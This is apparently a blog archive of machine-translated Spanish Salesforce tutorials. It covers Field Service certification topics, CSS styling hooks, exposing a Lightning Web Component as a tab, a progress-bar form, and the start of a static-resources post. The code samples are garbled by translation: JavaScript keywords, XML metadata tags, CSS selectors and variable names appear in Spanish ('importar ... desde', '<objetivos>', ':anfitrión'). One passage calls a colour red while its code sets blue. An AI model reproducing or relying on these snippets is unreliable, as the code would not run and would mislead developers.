    6. Cuando se consume un producto durante la finalización de una orden de trabajo, realice un seguimiento de su consumo creando un registro de producto consumido. Puede agregar productos consumidos a órdenes de trabajo o elementos de línea de órdenes de trabajo. Realice un seguimiento del consumo de productos a nivel de artículo de línea si desea saber qué productos se usaron para las tareas de cada artículo de línea.
    7. La forma en que utiliza los productos consumidos depende de qué tan cerca desee realizar un seguimiento del estado de su inventario en Salesforce. Si desea realizar un seguimiento del ciclo de vida completo de los artículos en su inventario, incluido su almacenamiento, transferencia y consumo, vincule los registros de consumo de productos a los artículos de productos. Este enfoque garantiza que sus números de inventario se actualicen automáticamente para reflejar el consumo de productos de su inventario. Sin embargo, si solo desea realizar un seguimiento del consumo de productos, especifique una Entrada de libro de precios en cada registro de producto consumido y deje el campo Artículo de producto en blanco. Diagrama de productos requeridos
      1. Las solicitudes de productos son pedidos de productos que puede crear cuando las existencias se están agotando.
      2. Las líneas de pedido de productos son subdivisiones de una solicitud de producto.
      3. Las transferencias de productos rastrean el movimiento de artículos de productos entre ubicaciones de inventario.
      4. Los envíos representan el envío de artículos de productos entre ubicaciones.
      5. Las transacciones de artículos de productos describen las acciones realizadas en un artículo de producto. Los registros generados automáticamente lo ayudan a rastrear cuándo se reabastece, consume o ajusta el inventario.
      6. Los pedidos de devolución rastrean la devolución de un artículo del producto debido a daños, errores en el pedido u otros motivos.
      7. Las líneas de pedido de devolución son subdivisiones de un pedido de devolución. El movimiento de artículos dentro y fuera de su inventario y entre ubicaciones se rastrea utilizando estos objetos: diagrama de inventario
    8. Implemente la lista de productos y precios en su organización de desarrollador.
      Modelo de datos de precios de servicio de campo
    9. Utilice la campaña de servicio de productos para registrar las acciones para abordar situaciones como retiradas de productos, actualizaciones manuales de firmware, auditorías de seguridad o cumplimiento o comunicaciones al final de su vida útil. Los activos afectados están asociados con una campaña que utiliza elementos de campaña de servicios de productos. La campaña y los elementos de la campaña se pueden asociar con órdenes de trabajo y órdenes de devolución según sea necesario para completar el trabajo. Modelo de datos de campaña de servicio de producto
  8. Gestión de activos: 5%
    1. Utilice los elementos de la garantía para registrar los detalles de la mano de obra, las piezas y los gastos y cualquier opción de intercambio proporcionada para corregir problemas con los productos vendidos o instalados. Cree garantías estándar para productos y familias de productos y, para los productos que instale, registre detalles de garantías adicionales o extendidas junto con exclusiones y términos nulos.
    2. Un término de garantía está vinculado a un término de garantía de producto para definir la garantía estándar ofrecida para un producto o familia de productos. Cuando se instala un producto, los detalles del término de garantía de activos se crean a partir de la garantía estándar. Un término de garantía de activo se puede asociar con una orden de trabajo, un elemento de línea de orden de trabajo, un caso o un derecho para realizar un seguimiento de las acciones relacionadas con el cumplimiento de las disposiciones del término de garantía.
      Modelo de datos de garantía
      Modelo de datos de gestión de garantía de servicio de campo
    3. Configurar y administrar activos
      1. Si el uso compartido de activos está configurado como Controlado por principal, la configuración predeterminada, el campo Cuenta, el campo Contacto o ambos deben completarse para que se guarde un activo. Si el uso compartido de activos no está configurado como Controlado por el padre, los activos se pueden guardar sin una cuenta o contacto asociado.
      2. Eliminar un producto no elimina ningún registro de activos asociado con él.
      3. Al eliminar una cuenta o un contacto, se eliminan todos los activos asociados. Los tres registros se eliminan si elimina una cuenta con un contacto relacionado asociado con un activo. Restaurar la cuenta restaura los tres registros.
      4. Si elimina un activo con un activo principal y activos secundarios, su principal y sus secundarios ya no estarán vinculados en una jerarquía de activos.
    4. Configurar informes de disponibilidad y confiabilidad de activos
  9. Configuración de Planes de Mantenimiento: 5%
    1. Un activo en Salesforce representa un producto específico comprado o instalado. Por ejemplo, si vende generadores, puede crear un producto de generador en Salesforce y crear múltiples activos que representen el generador que ha vendido. El generador de cada cliente se rastrearía en su registro de activos que está vinculado al producto del generador.
      1. Puede asociar activos con varios registros de Salesforce además de productos.
        1. Casos
        2. Ubicaciones, como un sitio de cliente o almacén
        3. Planes de mantenimiento
        4. Órdenes de trabajo o partidas de órdenes de trabajo
        5. Derechos
        6. Contratos de servicio o partidas de contrato
      2. Para mostrar que un activo ha reemplazado a otro, cree una relación de activos con la ayuda de dos listas relacionadas en las páginas de inicio de registros de activos.
        1. La lista relacionada Activos principales muestra los activos que reemplazaron al activo actual.
        2. La lista relacionada Activos relacionados muestra los activos que reemplazó el activo actual.
    2. Pautas para generar órdenes de trabajo a partir de un plan de mantenimiento
    3. Directrices para trabajar con reglas de trabajo de mantenimiento
    4. Un plan de mantenimiento le permite definir el programa de mantenimiento para uno o más activos y generar un lote de órdenes de trabajo para futuras visitas de mantenimiento. Con el clic de un botón, todas las órdenes de trabajo para las visitas de mantenimiento mensuales de un sistema de paneles solares pueden estar listas. Sita no puede esperar para probarlo.
      1. Un plan de mantenimiento se puede vincular a una cuenta y contacto (que representa al cliente) y, si el cliente tiene uno, a un contrato de servicio.
      2. Un plan de mantenimiento puede cubrir múltiples activos . Por ejemplo, puede crear un plan de mantenimiento para realizar un seguimiento del mantenimiento mensual de 20 impresoras láser instaladas en el edificio de oficinas de un cliente. Los activos cubiertos por un plan de mantenimiento se representan como registros secundarios del plan de mantenimiento llamados activos de mantenimiento. Puede definir reglas de trabajo de mantenimiento para la mayoría de los activos y planes de mantenimiento para un mantenimiento recurrente más complejo.
      3. Después de crear un plan de mantenimiento o reglas de trabajo de mantenimiento, es hora de generar órdenes de trabajo para las visitas de mantenimiento planificadas. Los planes de mantenimiento vienen con una acción rápida Generar órdenes de trabajo, que también se puede llamar código Apex. La configuración de su plan de mantenimiento determina cuántas órdenes de trabajo y elementos de línea de órdenes de trabajo se generan a la vez y cuáles son sus configuraciones. Puede optar por generar una orden de trabajo por activo de mantenimiento para cada visita o una orden de trabajo principal para cada visita con un elemento de línea de orden de trabajo por activo de mantenimiento.
      4. Los planes de mantenimiento, los activos de mantenimiento y las reglas de trabajo de mantenimiento se pueden asociar con un tipo de trabajo :
        1. Si especifica un tipo de trabajo en un plan de mantenimiento, las órdenes de trabajo del plan usan ese tipo de trabajo.
        2. Si especifica un tipo de trabajo en un activo de mantenimiento, las órdenes de trabajo generadas que están asociadas con el activo de mantenimiento utilizan el tipo de trabajo del activo de mantenimiento.
        3. Si especifica un tipo de trabajo en una regla de trabajo de mantenimiento, las órdenes de trabajo generadas asociadas con la regla de trabajo de mantenimiento utilizan el tipo de trabajo de la regla de trabajo de mantenimiento.
          Diagrama de mantenimiento
          Modelo de datos de mantenimiento preventivo de servicio de campo
  10. Permisos y Compartir: 5%
    1. Se requieren licencias de conjuntos de permisos para que algunos usuarios de Field Service interactúen con la configuración, la consola del despachador y otras funciones. Aprenda cómo las licencias de conjunto de permisos coinciden con diferentes grupos de usuarios.
    2. Todos los usuarios necesitan el permiso de usuario de Field Service Standard para acceder a los objetos de Field Service. Las licencias de usuario de Field Service ya incluyen este permiso.
    3. Field Service también incluye tres licencias de conjunto de permisos relacionadas con el paquete administrado y la aplicación móvil. Estos conjuntos de permisos se crean cuando configura Field Service.
      Conjunto de permisos Descripción quien lo necesita
      Licencia de despachador de servicio de campo Proporciona acceso a la consola del despachador. Despachadores
      Licencia de programación de servicios de campo Permite que el usuario se muestre en el Gantt de la consola del despachador y se incluya en la programación y optimización. Trabajadores móviles (técnicos de campo)
      Licencia móvil de servicio de campo Proporciona acceso a la aplicación móvil de Field Service. Usuarios móviles (técnicos de campo)
      Autoservicio Proporciona acceso a los sitios de Experience Builder donde los usuarios pueden ver todas las acciones globales y sus objetos relacionados. Proporciona acceso para crear, reservar y programar sus citas. Clientes
      Usuario invitado del servicio de campo Brinda a los usuarios no autenticados acceso limitado para ver y crear registros. Usuarios invitados
    4. Los despachadores y los técnicos de campo no pueden manejar las comunicaciones entrantes de los clientes en los centros de llamadas, administrar los casos de los clientes o completar tareas orientadas a las ventas sin licencias adicionales.
    5. Limitar el acceso a los registros de servicio de campo
      1. De forma predeterminada, todos los usuarios pueden ver y actualizar las órdenes de trabajo, las partidas de las órdenes de trabajo y las citas de servicio. Puede limitar el acceso a estos registros para que los miembros de su equipo solo vean los registros que son relevantes para ellos.
    6. Los territorios de usuario dan acceso a los usuarios a los siguientes objetos para ese territorio.
      1. Ausencias de recursos
      2. Citas de servicio
      3. Recursos de servicio
      4. Territorios de servicio
      5. Objetos principales de Citas de servicio compartidas; por ejemplo, Cuentas, Activos, Oportunidades, Órdenes de trabajo y Partidas de órdenes de trabajo
    7. Cuando se elimina un recurso de servicio de una cita de servicio, el uso compartido se elimina solo para esa cita de servicio. El uso compartido en la orden de trabajo principal aún se conserva.
    8. Si la membresía del territorio cambia con frecuencia, pruebe con una frecuencia de 1 día. Por ejemplo, si la pertenencia a un territorio suele ser estática, puede reducir la frecuencia a 30 días.
    9. El territorio de servicio está guiado por una combinación de factores, tales como:
      1. Preferencia organizacional para limitar dónde viven y trabajan los recursos
      2. estipulaciones sindicales
      3. Estructura de gestion
      4. Límite práctico y lógico de hasta dónde un recurso puede cubrir un área
      5. Preferencias de recursos
    10. Ciclo de vida de la cita de servicio
      1. Una vez generada la Cita de Servicio, pasa por etapas, representadas por categorías de estado. Los nombres de las categorías de estado y el ciclo de vida de la cita de servicio se pueden personalizar para adaptarse a su empresa. De fábrica, las citas de servicio vienen con estas categorías de estado:
        1. Ninguna
        2. Programado
        3. Enviado
        4. En progreso
        5. Terminado
        6. no se puede completar
        7. Cancelado

Conclusión

Si tiene una buena experiencia práctica con todos los temas anteriores, aprobar el examen será pan comido y podrá obtener la tan codiciada certificación de Consultor de servicio de campo. Sin embargo, si no tiene suficiente experiencia con Field Service Lightning y planea convertirse en Field Service Consultant. Le sugiero que dibuje un plan de 2 a 3 meses (terminar el Trailhead anterior y la capacitación dirigida por un instructor) para prepararse.

Espero que encuentre útiles estos consejos y recursos. Si pones el tiempo y el esfuerzo, tendrás éxito. ¡Feliz estudio y buena suerte!

Evaluación formativa:

¡Quiero saber de ti!

¿Ha realizado el examen de certificación de consultor de servicio de campo de Salesforce? ¿Te estás preparando para el examen ahora? ¡Comparte tus consejos en los comentarios!

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/07/24/how-to-pass-salesforce-field-service-consultant-certification-exam-2/

Categories
Developers Tutoriales de Salesforce

Personaliza tus aplicaciones con ganchos de estilo ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Los ganchos de estilo pasaron a GA con el lanzamiento de Spring '22. Esta función abre la puerta a la personalización de los componentes básicos de Lightning y mucho más. Con los ganchos de estilo, puede cambiar fácilmente la apariencia de una interfaz de usuario estándar modificando algunas líneas de CSS:


No debatiremos sobre gustos y colores en esta publicación, pero cubriremos qué son las propiedades personalizadas de CSS y los ganchos de estilo y cómo puede aprovecharlos para aplicar estilo a los componentes base de Lightning y crear componentes temáticos y reutilizables. Usaremos una receta de gancho de estilo de la aplicación de muestra LWC Recipes como ejemplo. Por último, pero no menos importante, ¡tendrás la oportunidad de participar en nuestro LWC Style Challenge!

Acerca de las propiedades personalizadas de CSS y los ganchos de estilo

Antes de sumergirnos en los conceptos específicos de Salesforce, debemos dar un paso atrás y hablar sobre los estándares web.

Al construir una aplicación con componentes web, nos beneficiamos de la encapsulación gracias a Shadow DOM . Esto significa que el CSS de cada componente es autónomo y no hay fugas de estilo entre los componentes. Sin embargo, este poderoso comportamiento va en contra del uso tradicional de CSS donde el estilo cae en cascada (como su nombre lo indica) hacia abajo en la jerarquía de componentes. La herencia de estilo es la base que permite a los diseñadores crear sistemas de diseño enriquecidos, por lo que necesitamos una alternativa para trabajar con componentes web.

Aquí es donde las propiedades personalizadas de CSS (también denominadas variables de CSS) resultan útiles. A diferencia de las reglas de CSS, las propiedades personalizadas atraviesan el Shadow DOM y le permiten compartir el estilo entre los componentes web. Esto los convierte en una gran herramienta para personalizar componentes web de manera coherente.


Gracias a este comportamiento, ya no necesita confiar en una combinación de atributos HTML y JS para configurar dinámicamente el estilo de los componentes web secundarios.

Las propiedades personalizadas son bastante simples de usar. Los declara como un atributo estándar dentro de una regla CSS, pero con un prefijo de doble guión ( -- ). Por ejemplo, el siguiente código declara una propiedad de "color de texto principal" como roja en una regla con el selector : :host :

 :anfitrión { --main-text-color : azul;
}

Luego podemos hacer referencia al valor de nuestra propiedad personalizada gracias a la función var() (ver documentos ):

 pags { color: var(--main-text-color); /* azul */
}

Volviendo al ecosistema de Salesforce, los ganchos de estilo son un conjunto de propiedades personalizadas de CSS expuestas por los blueprints del componente Lightning Design System (LDS) . En otras palabras, utiliza ganchos de estilo para personalizar los componentes base de Lightning y los componentes personalizados que usan LDS.

Dar estilo a los componentes base de Lightning

La mayoría de los componentes básicos de Lightning ofrecen un conjunto de ganchos de estilo que le permiten sobrescribir parte de su estilo. No se pueden personalizar todos los atributos de estilo, pero la lista de ganchos disponibles aumenta con cada lanzamiento de Salesforce.

Por ejemplo, tomemos el componente de alternar casilla de verificación. Mirando la documentación para el modelo de este componente, podemos ver una descripción general de los ganchos de estilo que admite:


Todo lo que se necesita para personalizar esta opción es sobrescribir algunos de estos ganchos de estilo en el CSS de un componente principal:

 /* CSS de un LWC principal que aloja un componente base de entrada lightning */
: anfitrión {
 -- sds - c - casilla de verificación - alternar - color - borde - marcado : #009900;
 -- sds - c - checkbox - alternar - color - fondo - marcado : #009900;
 -- sds - c - casilla de verificación - alternar - color - fondo - marcado - foco : #00cc00;
}

Nota: el prefijo de enlace de estilo slds de la documentación del modelo se convierte en sds cuando se aplica al código LWC.

Gracias a estas pocas líneas de CSS, convertimos una palanca azul estándar en una palanca verde:


Los ganchos de estilo y las propiedades CSS personalizadas no se limitan a los componentes básicos, también puede aprovecharlos para crear y compartir componentes reutilizables y con temas.

Construcción de componentes temáticos y reutilizables

Al igual que los componentes base de Lightning, usted también puede producir componentes temáticos y reutilizables gracias a las propiedades personalizadas de CSS. La clave de esto es la capacidad de especificar un valor alternativo como segundo argumento al usar la función val para recuperar valores de propiedad personalizados.

Por ejemplo, este fragmento de código tomado del componente viewSource (ver fuente ) de LWC Recipes abre la puerta a la personalización del color del texto en la descripción de una receta.

 .descripción { /* Usar propiedad personalizada con un valor alternativo */ color: var(--fuente-texto-color, #706e6b);
}

De forma predeterminada, el texto de la descripción será gris, y si un componente principal de viewSource especifica una propiedad personalizada --source-text-color , el valor de la propiedad sobrescribirá el color de texto predeterminado (el valor alternativo).

Al crear su propio tema, siga el patrón que mostramos en la receta de ganchos de estilo :

  1. Declare algunas propiedades personalizadas base en la raíz de su componente principal
  2. Sobrescriba los ganchos de estilo del componente base y del componente secundario con sus propiedades personalizadas

Como regla general, y siempre que sea posible, use sus propiedades personalizadas básicas en sus reglas de CSS en lugar de valores de codificación fija.

Veamos cómo se ve esto en la práctica. Comenzaremos definiendo algunas variables para nuestro tema. En nuestro caso, tenemos un color primario y un secundario que tienen tonalidades alternas:

 : host { /* Propiedades CSS personalizadas para reutilizar el estilo en este componente y componentes secundarios */ --primary-color: #e3df00; --primary-color-alt-shade: #a7a400; --color-secundario: #020024; --secundaria-color-alt-shade: #343304; /* ... */ }

Después de esto, usamos nuestras propiedades personalizadas para sobrescribir los ganchos de estilo para el componente secundario, ya sea un componente base como una tarjeta Lightning o un componente personalizado como viewSource :

 :anfitrión { /* ... */ /* Ganchos de estilo de tarjeta Lightning */ --sds-c-card-color-background: gradiente lineal ( 115 grados, var(--color-secundario) 60%, var(--primary-color-alt-shade) 100% ); --sds-c-card-text-color: var(--primary-color); --sds-c-card-radius-border: 1.5rem 0; --sds-c-card-color-border: var(--primary-color); --sds-c-card-footer-color-border: var(--primary-color-alt-shade); /* ... */ /* Ver ganchos de estilo de componente fuente */ --fuente-texto-color: #ffffff; --source-link-color: var(--primary-color); --source-link-color-hover: var(--primary-color-alt-shade);
}

Palabras de cierre y desafío

Esto concluye nuestro recorrido por las propiedades personalizadas de CSS y los ganchos de estilo. Aprendió cómo funcionan y cómo cambian las reglas del juego para personalizar Lightning Web Components. Vio cómo puede aprovecharlos para personalizar los componentes básicos de Lightning, así como para crear sus propios componentes personalizados reutilizables y con temas. Asegúrese de echar un vistazo a la aplicación de muestra LWC Recipes para ver un ejemplo práctico.

Desafío de estilo LWC

Hagamos un desafío amistoso: publique una captura de pantalla de su personalización de estilo más genial de la aplicación LWC Style Challenge con el hashtag #LWCStyleChallenge en Twitter o LinkedIn antes del 31 de julio. Revisaremos las presentaciones y retuitearemos las mejores contribuciones. ¡Sea creativo e impresiónenos con sus habilidades CSS!

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador de pila completa y disfruta trabajar en proyectos DevOps, robótica y realidad virtual. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2022/07/customize-your-apps-with-styling-hooks.html

Categories
Developers

Agregar componentes web Lightning en Mobile y Lightning Experience como pestañas

Última actualización el 24 de junio de 2022 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo mostrar los componentes web Lightning en Salesforce mobile y Lightning Experience como fichas personalizadas?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la diferencia entre los componentes de superficie en las páginas de App Builder y las pestañas
  • Agregue el objetivo correcto para que un componente web Lightning esté disponible como una ficha personalizada
  • Cree una pestaña de componente Lightning personalizada para el componente web Lightning
  • y mucho más

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Acceda a recursos estáticos, archivos de activos de contenido en el componente web Lightning
  2. Acceda a etiquetas personalizadas en el componente web Lightning
  3. Crear un formulario con una barra de progreso en el componente web Lightning

Keegan Watson trabaja como desarrollador junior en Gurukul on Cloud (GoC). Por ahora, ella ha creado un formulario con una barra de progreso después de leer este artículo , como se muestra a continuación:

Ahora quiere saber cómo progresar . El componente web lightning BarExample está disponible como una pestaña personalizada en una aplicación Lightning Experience y la aplicación Salesforce.

Agregar componentes web Lightning en App Builder Pages vs Tabs

Hay diferentes formas de hacer que los componentes web Lightning estén disponibles para la experiencia Lightning y móvil de Salesforce. Estos se dividen en dos categorías, como se menciona a continuación:

Páginas del creador de aplicaciones Pestañas
Diseño construido usando arrastrar y soltar el componente en la plantilla Diseño totalmente controlado por los desarrolladores.
Puede ser construido y configurado por usuarios comerciales Los usuarios comerciales no pueden personalizarlo.
Incluye barra de título, que puede consistir en acciones rápidas
La activación crea pestañas automáticamente y permite agregarlas fácilmente a las aplicaciones y al menú de navegación móvil

El destino especifica dónde se puede agregar el componente, como en un tipo de página Lightning o en Embedded Service Chat. Si desea que su componente aparezca en Lightning App Builder o en Experience Builder, especifique al menos un tipo de página Lightning. Los valores válidos para el objetivo son:

Valor Descripción
relámpago__AppPage Habilita el uso de un componente en una página de aplicación en Lightning App Builder.
relámpago__FlowScreen Permite que un componente se use en pantallas de flujo en Flow Builder.
relámpago__Página de inicio Permite utilizar un componente en una página de inicio en el Generador de aplicaciones Lightning.
relámpago__Bandeja de entrada Permite utilizar un componente en Lightning App Builder para agregar a los paneles de aplicaciones de correo electrónico para las integraciones de Outlook y Gmail.
lightning__RecordAcción Permite utilizar un componente como una acción rápida en una página de registro.
relámpago__RecordPage Habilita el uso de un componente en una página de registro en Lightning App Builder.
relámpago__Tab Permite utilizar un componente en una pestaña personalizada en Lightning Experience o la aplicación móvil Salesforce.
rayo__UtilityBar Permite que un componente se use como un elemento de utilidad en la barra de utilidades en el Administrador de aplicaciones.
rayoSnapin__PreChat Habilita la selección de un componente personalizado previo al chat desde la configuración del chat de servicio integrado.

Enfoque de Campeón de Automatización (I-do):

Hay tres pasos para resolver el requisito comercial de Keegan utilizando Lightning Web Component y una pestaña personalizada . Debemos:

  1. Agregue el destino lightning__Tab al archivo de configuración del componente
  2. Crear una pestaña de componente Lightning para el componente web Lightning
  3. Agregar una ficha de componente Lightning al menú de navegación móvil de Salesforce y Lightning Experience

Paso 1: agregue el destino lightning__Tab al archivo de configuración del componente

Agregue el destino lightning__Tab al archivo de configuración del componente. El archivo de configuración progressBarExample.js-meta.xml define los valores de metadatos para el componente, incluida la configuración para permitir el uso en una pestaña personalizada.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>54.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> <objetivo>relámpago__Tab</objetivo>
</objetivos>
</LightningComponentBundle>

Implemente los cambios en la organización de origen a través de Visual Studio Code.

Paso 2: Cree una ficha de componente Lightning para el componente web Lightning

Se puede crear manualmente una ficha Componente Lightning para el componente web Lightning en la interfaz de configuración.

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Pestañas .
  3. Seleccione Fichas , vaya a Fichas de componentes Lightning y haga clic en Nuevo .
  4. Ingrese los detalles como se muestra en la siguiente captura de pantalla:
    1. Seleccione el componente Lightning ProgressBarExample en el componente Lightning.
  5. Ingrese una descripción de la pestaña, si lo desea, y haga clic en Siguiente .
  6. Elija los perfiles de usuario a los que desea acceder en la nueva pestaña personalizada.
  7. Haga clic en Guardar .

Paso 3: agregue una ficha de componente Lightning al menú de navegación móvil de Salesforce y Lightning Experience

La pestaña Lightning Component se puede agregar manualmente al menú de navegación móvil en la interfaz de configuración.

La pestaña Lightning Component se puede agregar manualmente a Lightning Experience agregando aplicaciones a la interfaz de configuración.

Prueba de concepto

A partir de ahora, los usuarios comerciales pueden acceder a la pestaña del componente lightning desde Salesforce mobile en el menú de navegación, como se muestra a continuación:

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/24/add-lightning-web-components-in-mobile-and-lightning-experience-as-tabs/

Categories
Developers

Crear un formulario con una barra de progreso en el componente web Lightning

Última actualización el 23 de junio de 2022 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo crear un formulario con una barra de progreso en el componente web lightning?

Objetivos:

Después de leer este blog, podrá:

  • Comprender qué es el campo de barra de progreso relámpago y cómo usarlo
  • Cree un formulario usando el componente web lightning
  • Agregue una barra de progreso a su formulario
  • y mucho más

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Acceda a recursos estáticos, archivos de activos de contenido en el componente web Lightning
  2. Acceda a etiquetas personalizadas en el componente web Lightning
  3. Agregar cuadro de diálogo de confirmación, alerta y aviso al componente web Lightning

Rachel Gillett trabaja como desarrolladora junior en Gurukul on Cloud (GoC). A estas alturas, tiene una comprensión justa de la creación de un formulario con el componente web Lightning. Ahora quiere aprender a agregar una barra de progreso al formulario, como se muestra a continuación:

¿Qué es un componente lightning-progress-bar ?

El componente lightning-progress-bar se utiliza para mostrar una barra de progreso horizontal de izquierda a derecha para indicar el progreso de una operación.

La barra de progreso es valiosa para escenarios tales como: progreso a través de un formulario, mostrar información de descarga o carga, o incluso mostrar que se desconoce la cantidad de progreso pero el trabajo aún está activo.

Una barra de progreso debe tener una etiqueta de inicio (es decir, <lightning-progress-bar> ) y una etiqueta final (es decir , </lightning-progress-bar> ), como se muestra a continuación.


<valor-barra-de-progreso-del-relámpago={progreso}> </relámpago-barra-de-progreso>

Además de los atributos aria-label y variant , puede tener dos atributos más:

  1. tamaño : el tamaño de la barra de progreso. Los valores válidos son x-pequeño, pequeño, mediano y grande.
  2. Valor : indica el estado actual de la barra de progreso. Debe ser mayor o igual a 0 y menor o igual a 100 o el valor del atributo max (si está presente).

Enfoque de Campeón de Automatización (I-do):

En esta publicación de blog, repasaremos todo lo que necesitará para crear su propia barra de progreso, y no se preocupe, es muy simple.

progresoBarExample .js-meta.xml

Se puede utilizar un componente web lightning para crear páginas personalizadas para Lightning Experience y la aplicación móvil Salesforce rápidamente con herramientas de apuntar y hacer clic. Asegúrese de agregar el objetivo correcto para ello.

Este archivo de configuración hace que el componente esté disponible para todos los tipos de páginas Lightning, pero restringe la compatibilidad en la página de inicio solo para escritorios.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>54.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> </objetivos>
</LightningComponentBundle>

BarradeProgresoEjemplo .html

Para hacer referencia a un recurso en una plantilla, use la sintaxis {propiedad } (es decir, {progreso} en nuestro ejemplo), que es la misma sintaxis que usamos para hacer referencia a cualquier propiedad de JavaScript.


<!-- EjemploBarraProgreso.html -->
<plantilla> <formulario> <div class="slds-p-top_small slds-p-bottom_medium slds-align_absolute-center slds-theme_default slds-text-heading_medium"> <b>Ejemplo de barra de progreso</b> </div> <div class="slds-box slds-theme_default"> <div style="margen-izquierda: 2%;"> <div> <div class="slds-grid slds-grid_align-spread slds-p-bottom_x-small"> <span>Seguimiento del progreso</span> <span aria-hidden="verdadero"> <strong>{progreso}% completado</strong> </span> </div> </div> <barra de progreso relámpago tamaño = "mediano" valor={progreso} variante="circular"> </relámpago-barra-de-progreso> </div> <entrada de rayo nombre="nombre" etiqueta = "Nombre" valor={nombre} onchange={handleChange}> </relámpago-entrada> <entrada de rayo nombre="apellido" label="Apellido" valor={apellido} onchange={handleChange}> </relámpago-entrada> <entrada de rayo tipo = "fecha" nombre="fecha de nacimiento" label="Fecha de nacimiento" valor={fecha de nacimiento} onchange={handleChange}> </relámpago-entrada> <entrada de rayo escriba = "correo electrónico" nombre="dirección de correo electrónico" label="Dirección de correo electrónico" valor = {dirección de correo electrónico} onchange={handleChange}> </relámpago-entrada> <entrada de rayo tipo = "tel" nombre="móvil" etiqueta="Móvil" valor={móvil} onchange={handleChange}> </relámpago-entrada> <div class="slds-m-top_small slds-align_absolute-center"> <botón-relámpago variante="Neutro" etiqueta="Reiniciar" clase="slds-m-izquierda_x-pequeña" onclick={manejarReset}> </botón-relámpago> <botón-relámpago variante="marca" clase="slds-m-izquierda_x-pequeña" etiqueta="Enviar" onclick={manejarEnviar}> </botón-relámpago> </div> </div> </formulario>
</plantilla>

Barra de progresoEjemplo .js

Aquí está el JavaScript que cambia el valor de la barra de progreso. Aumenta la barra de progreso en un 20% a medida que los usuarios comienzan a completar el campo del formulario uno a la vez.


//ProgressBarExample.js
importar { LightningElement } desde 'lwc'; exportar clase predeterminada InputExample extiende LightningElement() { progreso = 0; dirección de correo electrónico = ''; móvil = ''; fecha de nacimiento = ''; primerNombre = ''; apellido = ''; handleChange(evento) { const campo = evento.objetivo.nombre; if (campo === 'nombre') { this.firstName = event.target.value; } más si (campo === 'apellido') { this.lastName = event.target.value; } más si (campo === 'móvil') { este.móvil = evento.objetivo.valor; } más si (campo === 'dirección de correo electrónico') { this.emailAddress = event.target.value; } else if (campo === 'fecha de nacimiento') { this.birthdate = event.target.value; } this.fieldsCompleted(); } campos Completados() { var numVal = 0; if (this.firstName != null && this.firstName != '') { numVal = numVal + 1; } if (este.apellido != nulo && este.apellido != '') { numVal = numVal + 1; } if (esta.fecha de nacimiento != null && esta.fecha de nacimiento != '') { numVal = numVal + 1; } if (esta.dirección de correo electrónico != null && esta.dirección de correo electrónico !='') { numVal = numVal + 1; } if (este.móvil != null && este.móvil !='') { numVal = numVal + 1; } this.progressBar(numVal); } barraprogreso(valornum) { si (valornumero >= 1) { este.progreso = numVal * 20; } más { este.progreso = 0; } } manejarEnviar() { } manejarReset() { este.progreso = 0; esta dirección de correo electrónico = ''; este.movil = ''; esta.fecha de nacimiento = ''; este.nombre = ''; este.apellido = ''; }
}

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/23/create-a-form-with-a-progress-bar-in-lightning-web-component-2/

Categories
Developers

Acceda a recursos estáticos, archivos de activos de contenido en Lightning Web Component

Última actualización el 20 de junio de 2022 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo importar y usar recursos estáticos en el componente web lightning?

Objetivos:

Después de leer este blog, podrá:

  • Comprender el propósito del recurso estático
  • Usar recurso estático en el componente web lightning
  • Acceder al archivo de activos de contenido en el componente web lightning
  • y mucho más

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Pasar el valor del campo de entrada Lightning de un clic de botón al controlador de componentes web Lightning
  2. Restablecer el campo de entrada Lightning al hacer clic en un botón en el componente web Lightning
  3. Agregar cuadro de diálogo de confirmación, alerta y aviso al componente web Lightning

Rachel Gillett trabaja como desarrolladora junior en Gurukul on Cloud (GoC). Ha subido dos imágenes en los respectivos recursos estáticos como se menciona a continuación:

  1. Campeón_de_automatización
  2. slds_icons/utility/product_warranty_term_60.png

Ahora quiere aprender cómo importarlos y usarlos en el componente web Lightning, similar a la siguiente captura de pantalla:

¿Cómo importar recursos estáticos en el componente web Lightning?

